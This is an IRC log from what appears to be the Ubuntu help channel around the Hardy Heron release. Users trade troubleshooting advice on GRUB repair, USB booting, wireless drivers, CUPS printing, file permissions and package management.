[06:15] <Orchid`> i have an issue with hardy heron, the password i suppplied for the admina ccount wont work, and i cant hash it so i can reinstall
[06:15] <kc8pxy> infolock: phantomcircuit_: lappy
[06:15] <Orchid`> please help me so i can fix this issue please
[06:15] <Hazarath> I hope my install works this time... going on 10 hours on this project.
[06:15] <phantomcircuit_> http://www.debuntu.org/how-to-install-ubuntu-linux-on-usb-bar
[06:15] <Zelbinian> How do I install grub via chroot? :|
[06:15] <infolock> cd rom drives can be replaced on lappy's too ;)
[06:15] <phantomcircuit_> kc8pxy, the drivers are still < 50 the cost is in finding the right one
[06:16] <phantomcircuit_> drives*
[06:16] <Hazarath> Windows doesn't know how to not stall my games, I recall how sweet litux is usin' OpenGL.
[06:16] <chalcedony> Orchid`: hardy has many problems /me pats your back
[06:16] <kc8pxy> phantomcircuit_:  del inspirion
[06:16] <Gun_Smoke> chalcedony, well I guess you could try to remove and reinstall.. sudo apt-get remove xsane && sudo apt-get install xsane
[06:16] <phantomcircuit_> which one?
[06:16] <phantomcircuit_> they have numbers
[06:16] <Orchid`> yes well its  apain in th ebuttox because i want me tower back in my corner and the public one out here
[06:16] <Orchid`> i have hardy
[06:16] <phantomcircuit_> i replaced the one on my 1200 for like 40$
[06:16] <Orchid`> the LTS version
[06:17] <phantomcircuit_> Orchid`, what's your issue
[06:17] <chalcedony> Gun_Smoke: before i bite the bullet will i have to tell it how to find the printer again?
[06:17] <infolock> damn, is it even possible to boot off a usb stick?  didn't think you could?
[06:17] <Hazarath> infolock, Yes.
[06:17] <|YESH|a|> I boot a memory tester off USB stick
[06:17] <geodome> mm.. depends on your bios
[06:17] <|YESH|a|> memcheck86+
[06:17] <infolock> damn, i'm gonna have to look into that
[06:17] <geodome> whether it allows u to boot from a usb
[06:18] <infolock> that's pretty sweet
[06:18] <|YESH|a|> yeah, a lot of new bios do let you but not all of them
[06:18] <Hazarath> infolock, there's a tool avallble, hold on.
[06:18] <Gun_Smoke> chalcedony, yeah it should, it isn't messing with your printer.. It's just an app.  You could also try scanning through gimp
[06:18] <|YESH|a|> I tell it to boot from 'USB-HDD' in the boot-order of my bios, but it could be different on yours, or may not be available at all
[06:18] <Orchid`> phantomcircuit i installed hardy heron onto a 32 bit computer, using the i386 version. now the six digit passwor di  applied to the root, wont work, so i tried to load form disc to uninstall, and reinstall but it jsut loads right to the hddd and such
[06:18] <Orchid`> halp
[06:19] <infolock> check this 0day site on a "howto" for usb boot hah: http://www.bootdisk.com/pendrive.htm    Oo
[06:19] <Zelbinian> Ok, I figured out how to install grub.
[06:19] <chalcedony> Gun_Smoke: so just replacing xsane should work-work ?
[06:19] <Zelbinian> How do I keep Windows from bitching on install?
[06:20] <Third_Parties> I am having some wireless issues, I have to be right next to the router to get a signal and the http and torrent protocol up and down are really shotty.
[06:20] <Gun_Smoke> chalcedony, I can't say for sure.. It's worth a try.
[06:20] <Flannel> Zelbinian: What do you mean?  and no need for the language
[06:20] <Hazarath> infolock, here ya go: https://help.ubuntu.com/community/Installation/FromUSBStick It works pretty good, used my SD care reader, however... with my standard installer... yeah.
[06:20] <chalcedony> right now it 60% works .. which is still not giving me a decent copy/
[06:20] <Hazarath> infolock, Rather, the tautomatic tool.
[06:20] <Hazarath> *automatic
[06:21] <Gun_Smoke> chalcedony, give it a go?
[06:21] <chalcedony> Gun_Smoke: yes i guess so ty :)
[06:21] <Third_Parties> I am having some wireless issues, I have to be right next to the router to get a signal and the http and torrent protocol up and down are really shotty.
[06:21] <Gun_Smoke> chalcedony, should only take a minute or two
[06:21] <Hazarath> Third_Parties, b,g, or n class?
[06:22] <Zelbinian> Pardon. I moved an Ubuntu partition using GParted, and tried to install Windows on the empty space. Windows then told me it couldn't find a drive matching its install requirements.
[06:22] <Third_Parties> Would an Iwconfig tell me that?
[06:22] <kc8pxy> phantomcircuit_:  id didn't look that close. it was for a guy that came to FG.
[06:22] <chalcedony> Gun_Smoke: i love command line :)
[06:22] <Gun_Smoke> hehe.
[06:22] <Gun_Smoke> && is a nice
[06:22] <Cheiron> Maybe you meant: . ? @ v
[06:22] <Hazarath> Third_Parties, look at the card/router. That'll tell you. I'm just a hardware guy, still learning Ubuntu.
[06:22] <chalcedony> Gun_Smoke: yes!!
[06:23] <Third_Parties> It's in my laptop lol , and the router is for all classes.
[06:23] <Hazarath> Third_Parties, nice, you seem to have a N class... heh... ok, gimme the LapTop model number.
[06:23] <Third_Parties> Aight
[06:23] <Flannel> Zelbinian: The easiest way to do it is to install windows first
[06:23] <cheeky> is there a way in ubuntu that i can track wat i have installed on my machine like for example .. i just got on ubuntu and would like to know wat programs i have installed and if i lose this setup i can actually bring it back up ifi have record and then i can take notes so if i ever crash i can do all what i have don again ?
[06:23] <Flannel> Zelbinian: It
[06:23] <chalcedony> Gun_Smoke: do i need to get this?:  Suggested packages:
[06:23] <chalcedony>   xsane-doc hylafax-client mgetty-fax gv gocr
[06:23] <chalcedony> The following NEW packages will be installed:
[06:23] <chalcedony>   xsane
[06:24] <FloodBot3> chalcedony: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[06:24] <Third_Parties> PP22L
[06:24] <Flannel> Zelbinian: It's likely windows was complaining about not installing to the first partition of the first harddrive.
[06:24] <johninlex> does anyone know how to set up a etho connection
[06:24] <Hazarath> Third_Parties, is that a Dell, IBM, Joe's Computer Shop? I nbeed the make.
[06:24] <Third_Parties> It's a Dell Inspiron 1520
[06:24] <legendsohai> anybody know what is the " loop " means in "mount -o loop *.iso /mnt/iso"...help appreciated
[06:24] <Hazarath> Thank you.
[06:24] <Dfcnvt> cheeky, check in your Add/Remove Program for any program you've installed. You'll see the checkup box.
[06:24] <Gun_Smoke> Third_Parties, lspci | grep Network what card is it?
[06:25] <Zelbinian> Well, given that I have Ubuntu installed now . . . lol
[06:25] <Third_Parties> Dell

[06:25] <Dfcnvt> if you want to know more than the program you've installed, check in System/Administration/Synaptic Package Manager to sort out the installed
[06:26] <Zelbinian> Is there a workaround?
[06:26] <kc8pxy> legendsohai:  loopback fs..      basically,  trat this file as if it were a filesystem.
[06:26] <kc8pxy> treat
[06:26] <cheeky> Dfcnvt: so there i no like track record orwat ever of wat major thing were installed from day to day basis ?
[06:26] <legendsohai> kc8pxy: thx very much... now i know it
[06:26] <Flannel> legendsohai: It means its mounted loopback, see the "loopback device" section of man mount for details.
[06:27] <Flannel> legendsohai: er, "Loop Device" section
[06:27] <Third_Parties> To tell you what I already did: Set 54mbps to constant, and disables IPv6
[06:27] <Hazarath> Third_Parties, well, if it's on 'g' mode, then, I donno what... are you in a moble home by chance?
[06:27] <chalcedony> Gun_Smoke: IT WORKED :)
[06:27] <Third_Parties> Nope, suburbian home.
[06:27] <legendsohai> Flannel: thx..i'll try to look
[06:27] <Gun_Smoke> chalcedony, Great news.
[06:28] <Hazarath> Third_Parties, I was asking due to the fact some momble homes mind as well be called 'Tin Cans' because thay destroy radio signals.
[06:28] <Third_Parties> Yeah, I know what you were referring to.
[06:28] <Gun_Smoke> Third_Parties, how did you get it up and going in the first place?  ndiswrapper?
[06:28] <Hazarath> Third_Parties, I don't know, then. I'm sorry.
[06:29] <Dfcnvt> cheeky, Everyday your Ubuntu always keep up to date with your approval to install an update. To see the last time you have updated, check in /var/log/dpkg.log
[06:29] <Third_Parties> Gun_Smoke : did you catch the O of my grep?
[06:29] <Third_Parties> Third party drivers
[06:29] <Third_Parties> bfcutter or something along those lines
[06:29] <Hazarath> Third_Parties, ment to say... nice name.
[06:29] <cheeky> how am i going to remember all these commands..
[06:29] <Third_Parties> Thanks :D
[06:30] <Gun_Smoke> Third_Parties, yes I did.  have a look at the ndiswrapper... http://ubuntuforums.org/showthread.php?t=883271
[06:30] <chalcedony> cheeky: save your log
[06:30] <Dfcnvt> cheeky, there is no point in knowing when the last time you have updated since you're going to check and see if you need to update today. You can do that by clicking on the tab System/Administration/Update Manager
[06:30] <Gun_Smoke> cheeky, what commands?
[06:30] <Hazarath> Oh, did ya'll see the new Microcrap commercal?
[06:30] <vn> hi, I just rebooter my ubuntu that was working fine due to updates and now instead of a login screen, I'm getting a white screen, sometimes with a black bar, is thaat something frequent?  what can I do?
[06:30] <Third_Parties> Well, the 3rd party drivers were working fine, but it just seemed to be a little bit o nthe slow side now
[06:31] <Third_Parties> And, I also heard ndiswrapper was slower.
[06:31] <Third_Parties> Eh, I think I'll just do the screw it and format dance.
[06:32] <Gun_Smoke> Third_Parties, I've never heard that.. ndiswrapper has been the way to accomplish a lot of wireless issues for a couple years now.
[06:32] <Third_Parties> Is it complicated to install? Because I've had a little to drink
[06:33] <Third_Parties> Wait, nevermind read it
[06:33] <Third_Parties> Thanks alot
[06:33] <chalcedony> Third_Parties: go read a nice book and work on valuable computers when you'r sober
[06:33] <kc8pxy> Third_Parties: ndiswrapper is not much worse.  had a bcm43xx for a while. still i DO  prefer the in-kernel drivers.   still have to cut the firmware, but it's inkernel.
[06:34] <Violetbass> I think I have found a bug!? when selecting System/OperationsControl/Deamons it everytime says just after tipyng some letters, authentication failure!
[06:34] <chalcedony> vn: *hugs* to you.. i'm sure someone wil help
[06:34] <Third_Parties> chalcedony : I mean that in the way of am I going to get confused easily, not am I going to break something. Am I typing like I am wasted? Take your snobbery elsewhere.
[06:34] <vn> heya chalcedony
[06:34] <vn> su prised to see you here :)
[06:34] <chalcedony> lol
[06:34] <Red13> ok got sound to work through usb headset with video and music but no sound with streams I am stuck with that help plz   btw stream works on speakers but not usb headset
[06:35] <cheeky> Dfcnvt: see i only have used linux... for about 4 hours installed nvdia drivers.. err the codecs with that command line and tweaked the bandwith oh and installed VLc media player .... but kinda .. dunno how this system really works .. like if i get lost where my files are .. any suggestions to wat i should be doing next
[06:35] <Third_Parties> I'll install ndiswrapper and give that a shot.
[06:35] <Third_Parties> thanks guys.
[06:35] <chalcedony> Third_Parties: i've seen stuff get broken .. no offense
[06:35] <Third_Parties> chalcedony: I have too. :]
[06:35] <Third_Parties> Alright, thanks for the help guys, I'll catch you later.
[06:36] <Abs0luteBeginner> anyone knows about a repository for VMWARE (latest and/or 2.x RC 2 ??) for Ubuntu 8.04/hardy ???
[06:36] <corollax> This isn't technically a programming channel...but does anybody mind helping me with a programming difficulty?
[06:36] <Gun_Smoke> cheeky, keep your personal files in your Home folder.
[06:36] <chalcedony> on a purely rhetorical basis .. if xsane can find my scanner, which is part of the hp 7780 print /scan fax/ why can't i find the printer and just print?
[06:36] <kc8pxy> chalcedony:  i've seen people try and jam a monittor into a serial port before :)
[06:36] <chalcedony> kc8pxy: oh
[06:37] <Violetbass> anyone can help/confirm with this bug please?
[06:37] <Dusti[n]> what bug
[06:38] <Abs0luteBeginner> kc8pxy - r u a OM ? HAM radio?
[06:38] <kc8pxy> OM?   yes, I'm ham.
[06:38] <johnny_> corollax: go to a channel about your language, you'll get better help
[06:38] <johnny_> this channel moves to fast to be worth it

[06:39] <corollax> johnny_: do you have a recommendation?
[06:39] <johnny_> and few folks will be able to help you..
[06:39] <kc8pxy> 73
[06:39] <johnny_> uhmm.. #yourprogramminglanguage
[06:39] <Violetbass> Dusti[n]: when I try to unlock System/Operationscontrol/Deamons, it says authentication failure
[06:39] <johnny_> on this network
[06:39] <corollax> It won't let me type there >,<
[06:39] <johnny_> huh?
[06:39] <kc8pxy> Abs0luteBeginner:  ticket?
[06:39] <ASrock> does anyone know of a way i can sync my zune in ubuntu?
[06:40] <corollax> "Please register with services and use the IDENTIFY command (/msg nickserv help) to speak in this channel"
[06:40] <johnny_> then do that
[06:40] <johnny_> how about following instructions
[06:40] <Dusti[n]> Violetbass: wow i dont even have those options
[06:40] <corollax> *sighs* I get confused after 3 hours of programming. >,<
[06:40] <Abs0luteBeginner> kc8pxy - huh ? ticket? what u mean ? i dont wanna take the bus :)
[06:40] <johnny_> Abs0luteBeginner: the bug number
[06:40] <johnny_> bugs.. tickets, same diff
[06:40] <kc8pxy> as in, I'm a 5-word extra. you?
[06:41] <Violetbass> Dusti[n], could be, dont know the right spell in english. Im using german set.
[06:41] <Gun_Smoke> Violetbass, privileges?  Probably need to be root to do that... Or sudo or whatever.. What are you trying to do?
[06:42] <td123> can someone take a look at http://ubuntuforums.org/showthread.php?t=914546
[06:42] <td123> and also, is there a wine channel?
[06:42] <johnny_> td123: easy to find out..
[06:42] <Zelbninian> Ugh, I'm worried. I think I might have screwed up my install . . . can someone help me figure out if I can repair it? :(
[06:42] <Violetbass> Dusti[n], If you click system, there are two menus. settings and system.... I mean the systems.... one
[06:42] <johnny_> try to join it
[06:42] <johnny_> canonical should hire folks to do support ..
[06:42] <NewUser> hi all, i have a strange problem with my sound, it will work sometimes and not others. the sound is global, ie mp3s, mpgs, even chat alerts on pidgins. they will just stop all of a sudden
[06:43] <johnny_> sounds like a problem with pulseaudio.. definitely rolled out too early in hardy
[06:43] <Gun_Smoke> johnny_, why? there are over 1200 in here alone?
[06:43] <Dusti[n]> Violetbass: ok then what?
[06:43] <NewUser> ah ok johnny_ , any suggestions?
[06:43] <Violetbass> Dusti[n], ...and there the deamons. the running tasks
[06:43] <johnny_> Gun_Smoke: and how many are the helpers.. vs those who need help
[06:43] <NewUser> is there a way to maybe reset the sound?
[06:44] <johnny_> NewUser: sorry.. i haven't kept up with it.. it happens infrequently enough for me to just reboot to fix it
[06:44] <Gun_Smoke> Violetbass, what are you trying to do?
[06:44] <johnny_> try searching the bug tracker on launchpad.net
[06:44] <johnny_> uggh.. this will kill my night.
[06:44] <Dusti[n]> Violetbass:ummm i got "system monitor" is that what your talking about or "services"?
[06:45] <frybye> I have a functioning and somewhat customized install of hardy 8.04 - if I use the "sudo apt-get dist-upgrad" method to switch to intreped ibex - will I have to intall everything from start.. ?
[06:45] <Violetbass> Dusti[n], I like to disable and stop bluetooth and cups
[06:45] <Dusti[n]> Violetbass: ok thats "services"
[06:45] <Violetbass> Dusti[n], I also could use rcconf, but that does not work for me!
[06:45] <Violetbass> Dusti[n], ah ok! :)
[06:46] <NewUser> ah ok..this might help too...ive notice now that the sound has stopped, i also cant play movies
[06:46] <NewUser> so, the first frame will come up but it will get stuck
[06:46] <Dusti[n]> Violetbass: so you cant unlock it?
[06:46] <Zelbninian> Can someone help me repair an install?
[06:46] <Gun_Smoke> Zelbninian, what's broke?
[06:47] <Violetbass> Dusti[n], yes! after typing some letters of the password I get thes auth failure
[06:47] <Violetbass> Dusti[n], e
[06:48] <Violetbass> Dusti[n], ups I should say "this"
[06:48] <Zelbninian> Well, I resized and moved a partition.
[06:48] <td123> is there a way to send all output from a program that sends it to the console, to a file?
[06:48] <Dusti[n]> Violetbass: does it stop you before you hit the enter key?
[06:48] <Zelbninian> Then I (apparently stupidly) tried to install Vista on the empty space.
[06:48] <ravenexus> hi
[06:48] <Zelbninian> Now I'm having difficulty getting GRUB to boot my Ubuntu install.
[06:48] <Violetbass> Dusti[n], yes, I cant get to the end of the password
[06:48] <ravenexus> does somebody know a tool to check hard driven sectors ? I have tried smartctl but it only return the SMART informations :)
[06:49] <ravenexus> s/driven/drive/g;
[06:49] <`Matir> ravenexus, hdparm shows that, I think
[06:49] <Dusti[n]> Violetbass: hum... i dont have that problem
[06:49] <NewUser> so no takers on the dead sound problem?
[06:49] <ravenexus> thanks Matir
[06:49] <infolock> so what is the ultimate setup for the package manager URL's that it looks at for new/update packages
[06:49] <td123> NewUser: try the forums, you're bound to find something related, if not exact
[06:49] <Dusti[n]> Violetbass: you dont have that key "hot linked" do you?
[06:50] <NewUser> yeah, td123, what do u suggest i look for though
[06:50] <billybigrigger> how do i apply a chown and chmod on all files/folders and subfolders basically every file in my /var/www/
[06:50] <billybigrigger> ????
[06:50] <Violetbass> Dusti[n], what do you mean please?
[06:50] <Flannel> infolock: regular (hardy, for instance), -updates (hardy-updates), -security (hardy-security).  Each with main restricted universe multiverse components.
[06:50] <`Matir> billybigrigger, supply -R to each chown and chmod
[06:50] <r2s> anyone here knows which eeepc has those WAN modems or 3g card built-in ??
[06:50] <billybigrigger> `Matir, tried that
[06:50] <`Matir> billybigrigger, e.g, chown -R user:group /var/www
[06:51] <td123> NewUser: search your sound card with your problem
[06:51] <billybigrigger> `Matir, it only works on /var/www/foo, not /var/www/foo/foo
[06:51] <NewUser> ah ok
[06:51] <infolock> flannel: i'm sorry, i don't quite follow
[06:51] <Dusti[n]> Violetbass: a hot link key would perform an action when you press a key + another key at the same time like shift + e
[06:51] <vn> hi, I just rebooter my ubuntu that was working fine due to updates and now instead of a login screen, I'm getting a white screen, sometimes with a black bar, is thaat something frequent?  what can I do?
[06:51] <infolock> i'm an ubuntu newb... always used freebsd up until now
[06:51] <`Matir> billybigrigger, weird, it should work on all if you have the necessary permissions
[06:51] <billybigrigger> shopt -s dotglob;  sudo chown root:root /var/www/*; sudo chmod +r /var/www/*
[06:51] <billybigrigger> bahh
[06:51] <Flannel> infolock: It's likely already set up by default, although on separate lines.
[06:51] <Gun_Smoke> td123, yeah, like ls *.pdf > listofpdf.txt
[06:52] <infolock> wierd, because it doesn't seem to find a VMWare Server installation
[06:52] <Violetbass> Dusti[n], no, I type the password letter by letter!?
[06:52] <`Matir> billybigrigger, that's lacking the -R option.... no need for the * either
[06:52] <infolock> just thought that it was due to a reason similar to Suse where a specific URL for a 3rd party or something needs to be added to the package lookup
[06:53] <infolock> if i search for VMWare, i get nothing for installation
[06:53] <infolock> i don't have a problem installing it manually
[06:53] <billybigrigger> `Matir, old command, sudo chmod +R o+rw /var/www with that command i can cd in /var/www/include/client says permission denied as its owned by root:root
[06:53] <infolock> just thought there was a package available for it
[06:53] <finch9> hello, i was wondering if i could get some help with some make errors i'm getting
[06:53] <Dusti[n]> Violetbass: have you always had this problem? or is this the first time youve tried this?
[06:53] <ravenexus> Matir: hdparm doesn't fit my need but thank you again :) I'll just burn some tools on a CD like UBCD :)
[06:53] <Flannel> !vmware | infolock
[06:54] <billybigrigger> `Matir,  i mean i can't cd in /var/www/include/client
[06:54] <Gun_Smoke> virtualbox is another option
[06:54] <`Matir> billybigrigger, that has +R, not -R
[06:54] <Zelbninian> I realize this is a busy room, but I'm kind of freaking out that I've lost my data here. Could someone give me a few minutes of their time and help me try and repair my Ubuntu install?
[06:54] <infolock> see, i have 8.04 (which i think is hardy or something)
[06:54] <billybigrigger> `Matir, and yes i meant -r
[06:54] <billybigrigger> well -R
[06:54] <billybigrigger> i typed it didnt copy
[06:54] <`Matir> billybigrigger, ah, then, I'm not sure, sorry... just checking the obvious.... hrrm, one second
[06:54] <Violetbass> Dusti[n], I tryed 8.04.0 and 8.04.1, on completely formated disk! both the same!
[06:54] <infolock> but that's the other thing.  wtf is up with the "Feisty and Edgy" stuff?
[06:55] <infolock> that the name of the distro's to correspond to the version?
[06:55] <chilli_> Zelbninian
[06:55] <Flannel> infolock: They're development codenames, that stick around only in the repositories.
[06:55] <chilli_> whats happend?
[06:55] <Gun_Smoke> Zelbninian, you trashed grub?
[06:55] <Zelbninian> Seems that way.
[06:55] <infolock> ah, that's what i thought.  k, then the ones above would be for the 6x and 7x builds, not the 8 right?
[06:55] <billybigrigger> `Matir, should files in my webroot be owned by me or root? im having all these wierd php errors i dont have permissions setup and its buggin the heck out of me
[06:55] <Flannel> infolock: What?
[06:55] <infolock>  infolock: VMWare Player is in Ubuntu's !Multiverse repository (package "vmware-player", only for Feisty and Edgy), and http://www.easyvmx.com/easyvmx.shtml can create VMs for it. Instructions can be found at https://help.ubuntu.com/community/VMware - See also !virtualizers
[06:55] <infolock> that
[06:56] <uat> how can i retrive a nick password?
[06:56] <infolock> Feisty and Edgy
[06:56] <Flannel> infolock: Ah.  Edgy is 6.10, Feisty is 7.04, but that doesn't mean that package isn't around anymore in Hardy.  Check the wiki page.
[06:56] <Dusti[n]> Violetbass: hum. well i cant verify the bug. but have you tried a work around like typeing your password out then copy and paste into the password field
[06:56] <infolock> kthnx flannel
[06:56] <Gun_Smoke> Zelbninian, https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows?action=show&redirect=RecoverGrub
[06:57] <Gun_Smoke> Zelbninian, or, https://help.ubuntu.com/community/UserDocumentation?action=fullsearch&context=180&value=grub&titlesearch=Titles
[06:57] <Zelbninian> I took those steps. I still can't boot.
[06:57] <Violetbass> Dusti[n], okay thanks! no, dont tryed it
[06:57] <uatever> how can i retrive my nick pass here on ubuntu server?
[06:58] <Flannel> uatever: You'll have to talk to freenode staff.
[06:58] <Dusti[n]> Violetbass: no problem
[06:58] <uatever> Flannel: how can i contact them?
[06:58] <uatever> via email?
[06:58] <Hazarath> flannel, Cant' you drop regestration?
[06:58] <finch9> i'm trying to compile broadcom driver but i keep getting no such file or directory
[06:59] <Flannel> uatever: ##freenode I believe, but yes, you should be able to do it by email too
[06:59] <Red13> I really don't get how I have sound with usb headset when playing dvd or music but not with web streaming yet everything works with speakers
[06:59] <Hazarath> I'm pretty sure you can drop regestration.
[06:59] <Hazarath> ..that needs a password, doesn't it?
[07:00] <Flannel> Hazarath: Likely, yes.
[07:00] <Red13> is there a setting with flash on what to play through ?
[07:01] <Hazarath> That is what I just realized. 'Don't ya need your password and email?
[07:01] <Hazarath> '
[07:01] <infolock> interesting this sudo stuff to pass as root instead of su'ing and then running as root
[07:01] <infolock> i am getting to like this ;)
[07:01] <Gun_Smoke> Flannel, I think there was something up with the /msg nickserv password recovery option by email.
[07:01] <Flannel> Gun_Smoke: Not yet, no.  You still have to do it through staffers.
[07:02] <Gun_Smoke> Flannel, ah
[07:02] <Hazarath> infolock, Ubuntu kicks a lotta @$$ compaired to Winders, just a bit more to configure it for what you are used to.
[07:03] <Hazarath> infolock, if you are wondering, yes, you can run major games such as Valve and WoW on your compy with Ubuntu for free.
[07:04] <mikejet> I like the apple way of yank/paste with the command-c command-v. Is that easy to set up in Terminal ?
[07:04] <kc8pxy> Hazarath:  uder wine? or cedega?
[07:05] <kern> hello, for some reason flash wont load videos or flash websites etc.. automatically i have to click on it to load how can i change this?
[07:05] <Red13> either wine will take a bit more to do than cedega
[07:05] <infolock> Hazarath: i don't do games
[07:05] <infolock> i'm a dev only ;)
[07:06] <infolock> I come from FreeBSD background.  suse i've used, ubuntu is new to me
[07:06] <Hazarath> kc8pxy, Wine. :3
[07:06] <infolock> so far, i like it though ;P
[07:06] <Hazarath> kc8pxy, Or the costy one.
[07:06] <uatever> inst cedega faster than wine?
[07:06] <kc8pxy> uatever:  very possibly..       but it's also cost, an wine is free.
[07:06] <Red13> faster setting up
[07:07] <Hazarath> uatever, I'm not sure, actually.
[07:07] <hosk> I can't seem to trap these magical things called kernel panics, is there a higher debug level I can put syslogd into so that mayhaps I may find out what is causing my system to freeze?
[07:07] <Hazarath> kc8pxy, I found a few good lookin' guides online to help me configure WoW and Steam.
[07:07] <balz> what packages do i need to set up a print server? cupsys?
[07:08] <the> billy
[07:08] <balz> !cups
[07:08] <the> ry
[07:08] <the> yooooooooooooooooooo
[07:08] <kc8pxy> Hazarath:  the only thing  i really don't like about ubuntu is the i386 part. i don't like binaries not optimized for the proc I'm ACTUALLY using.
[07:08] <balz> !print server
[07:09] <uatever> im sure theres a workaround on cedega =P
[07:09] <Hazarath> kc8pxy, I agree. I am using a 32 bit, heh.
[07:09] <Zmax> Hi all, if I installed a package with his dependency (automatically), when removing, it would be fine to remove them automatically again. Is it possibile?
[07:09] <uatever> btw im running xubuntu on vmware
[07:09] <uatever> just testing seeing how i like im going to install it tomorrow
[07:09] <uatever> but i run a raid-0
[07:09] <uatever> do i need the drivers
[07:10] <uatever> or will it be auto-detected?
[07:10] <balz> I installed cupsys and edited the config file but I can't access the webUI in my laptop's browser... i tried hostname:631
[07:10] <wolfwalker> This question is a bit esoteric for this room, but I've tried everything else I can think of.  Does anyone know of a freeware music transcriber that will take what you are playing on your piano keyboard and write sheet music from it?
[07:10] <balz> any ideas?
[07:11] <Zelbinian> Gun_Smoke: I followed the directions for reloading grub. I still get an error code 17.
[07:11] <kc8pxy> wolfwalker:  rosegarden?
[07:11] <ushimitsudoki> wolfwalker: doesn't rosegarden allow note entry this way?
[07:11] <|YESH|a|> wolfwalker: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=generate+sheet+music+from+midi+input
[07:11] <wolfwalker> Dunno, but I can't get midi to sync in Ubuntu.
[07:11] <Flannel> wolfwalker: Hmm, there may be some frontend to lilypad that does that.
[07:12] <ushimitsudoki> wolfwalker: i use MIDI in ubuntu and with rosegarden, although i have not tried to have it transcribe as i play the keyboard - i thought it was an option, though
[07:12] <Shujah> aaaaaaaaaaaaaa, 1?
[07:13] <wolfwalker> ushimitsudoki What adapter do you use for MIDI?
[07:13] <Gun_Smoke> Zelbinian, google "grub error 17"
[07:13] <ushimitsudoki> wolfwalker: several, but mainly the one on my Edirol UA-25. I also have a M-Audio UNO and Yamaha UX16
[07:14] <ushimitsudoki> wolfwalker: i've been trying to crack MIDI from Wine to Ubuntu all day today so i have this stuff on hand right now :)
[07:14] <wolfwalker> Then you're officially my best friend right now
[07:15] <wolfwalker> If I can get RoseGarden to work with my keyboard over here, I'll be as happy as a pig in mud.
[07:15] <Zelbinian> Yeah, I found another article. I'll try that.
[07:16] <yanghongchao> 大家好，有中国的朋友吗》哈哈
[07:16] <ushimitsudoki> wolfwalker: what keyboard?
[07:16] <Hazarath> I'll be happy if my keyboard fully funtions. It's one of those Office Pro keyboard. Love it.
[07:16] <ushimitsudoki> !cn | yanghongchao
[07:16] <wolfwalker> Just a standard Casio 61 key, but the keyboard my friend has is a really good Roland.
[07:16] <wolfwalker> Standard MIDI in/out though.
[07:16] <Hazarath> Oh, I happen to be given a Logitech G15 keyboard recently.
[07:17] <Hazarath> However, most of the keys in the p;/ area were dead. x.x;;;
[07:17] <Violetbass> http://paste.ubuntu.com/44805/
[07:18] <ushimitsudoki> wolfwalker: what midi interface?
[07:18] <Violetbass> Is it normal that this all is mounted on hardy?
[07:18] <wolfwalker> ushimitsudoki as in from MIDI to computer?  That's what I'm looking for.
[07:19] <ushimitsudoki> wolfwalker: oh, just looking for a suggestion on compatible hardware?
[07:19] <wolfwalker> Yes
[07:19] <wolfwalker> Looking high and low
[07:19] <balz> Can anybody help?  I'm trying to install CUPS and get a printer share running on a mythbuntu box.  So far I have installed and configured cupsys but I can't connect to the CUPS webUI nor do i see any printers from client computers
[07:19] <wolfwalker> I have this little EMU midi to USB adapter for Windoze
[07:19] <Zoiks> hey, im trying to grow a raid 5 but its giving me a stupidly high time to grow
[07:19] <Shujah> Hazarath, ??
[07:19] <Zoiks> ie 100 hours
[07:20] <hateball> balz: Are you trying to connect from localhost to the webui?
[07:20] <Hazarath> Shujah, in otherwords, some keys are dead.
[07:20] <balz> hateball yes:
[07:20] <Shujah> Hazarath, check if your keyboard is mentioned here > https://help.ubuntu.com/community/KeyTouch
[07:20] <balz> hateball;  do you need a cupsd.config pastebin?
[07:20] <BunTai> i want to install google chrome..how?anyone?
[07:20] <balz> i think it's properly configured but who knows...
[07:20] <Hazarath> Shujah, this is in Windows.
[07:20] <donkeyofdarkness> BunTai, with windows
[07:20] <Hazarath> Shujah, I checked... the contacts are dead. Physcally.
[07:21] <BunTai> no
[07:21] <BunTai> ubuntu hardy
[07:21] <donkeyofdarkness> you need windows
[07:21] <BunTai> owh
[07:21] <BunTai> wine?
[07:21] <donkeyofdarkness> for now anyways
[07:21] <hateball> balz: Well there's not all that much to configure really... and localhost should work ootb, but sure pastebin it
[07:21] <BunTai> wasnt that google chrome is open source?
[07:21] <donkeyofdarkness> it is
[07:21] <BunTai> then?
[07:21] <donkeyofdarkness> linux port isn't done yet
[07:22] <BunTai> owh
[07:22] <BunTai> ok
[07:22] <Hazarath> Someone actaully let coke sit in the keyboard for like, a week.
[07:22] <balz> hateball:  it's a mythbuntu install though so CUPS isnt installed by default.  I used this as a guide for the packages... http://ubuntuforums.org/showthread.php?t=614138  some of the packages didn't exist though
[07:22] <balz> hateball:  pastebinning
[07:22] <BunTai> i will wait..
[07:23] <balz> hateball:  http://paste.ubuntu.com/44809/
[07:23] <Violetbass> is this standart? http://paste.ubuntu.com/44805/
[07:24] <hateball> balz: Sorry, havent used Mythbuntu, plus that guide is a year old. Things are bound to have changed. But tbh, all you should need is the cupsys package, and it should grab the depends. The rest are just extra ui stuff and drivers I think
[07:24] <balz> hateball:  that's what i figured but it doesn't seem to be working at all...
[07:25] <hateball> balz: you could always try ##xubuntu or ##cups
[07:25] <balz> hateball.  will do thanks
[07:26] <Zmax> is there a way to slow down the frequency on my laptop? I am using cpufreqd
[07:28] <Zoiks> hey, im trying to grow a raid 5 but its giving me a stupidly high time to grow
[07:28] <Zoiks> ie 100 hours
[07:29] <Hazarath> Nice name, MrObvious
[07:30] <Zoiks> is this normal?
[07:30] <MrObvious> It's my nickname that I have had for a long while now.
[07:30] <Hazarath> Who, me? Never.
[07:30] <zacha> when I run s2disk, the caps lock and scroll lock start flashing.
[07:30] <MrObvious> My DSL has been acting up lately so I have been getting frequent disconnects. AT&T is on it now.

[07:43] <hillpig> hi,can  anybody tell me how to install x window on my 8.04 hardy desktop?
[07:44] <hillpig> hi,can  anybody tell me how to install x window on my 8.04 hardy desktop?
[07:45] <joeerror> So I need to install XP on my pc (just for spore) currently I'm only running 8.04 with no floppy and my HD's are SATA, The only tutorials I see online use a program called nlite to include the SATA drivers on the XP disc. Anyone know of a way to use linux to do the same thing?
[07:45] <donkeyofdarkness> it's already installed
[07:45] <donkeyofdarkness> you can install xp on a sata drive
[07:45] <Violetbass> hillpig, get a paper and a pen. then dra x on the paper and put it on your desktop ;)
[07:45] <donkeyofdarkness> just gotta change a bios option
[07:46] <Violetbass> w
[07:46] <mikejet> I wish somebody would fix up help pages like http://ubuntuforums.org/showthread.php?t=8960 so they don't look so silly.
